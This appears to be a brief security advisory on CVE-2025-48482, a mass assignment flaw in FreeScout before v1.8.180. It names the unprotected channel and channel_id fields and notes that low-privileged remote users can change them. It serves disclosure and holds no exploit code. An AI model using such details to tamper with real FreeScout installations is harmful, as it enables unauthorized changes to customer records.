FreeScout, Mass Assignment Vulnerability, CVE-2025-48482 (Medium)

Listen to this Post

How the CVE Works

CVE-2025-48482 is a mass assignment vulnerability in FreeScout (prior to v1.8.180) where the `fill()` method improperly processes user-supplied input. Attackers can manipulate unprotected fields like `channel` and `channel_id` by injecting unexpected values during customer object updates. This occurs due to insufficient input validation, allowing unauthorized modifications to sensitive attributes. The flaw is exploitable remotely with low attack complexity, requiring only a low-privileged account. GitHub assigned it a CVSS 4.0 score of 5.3 (Medium).
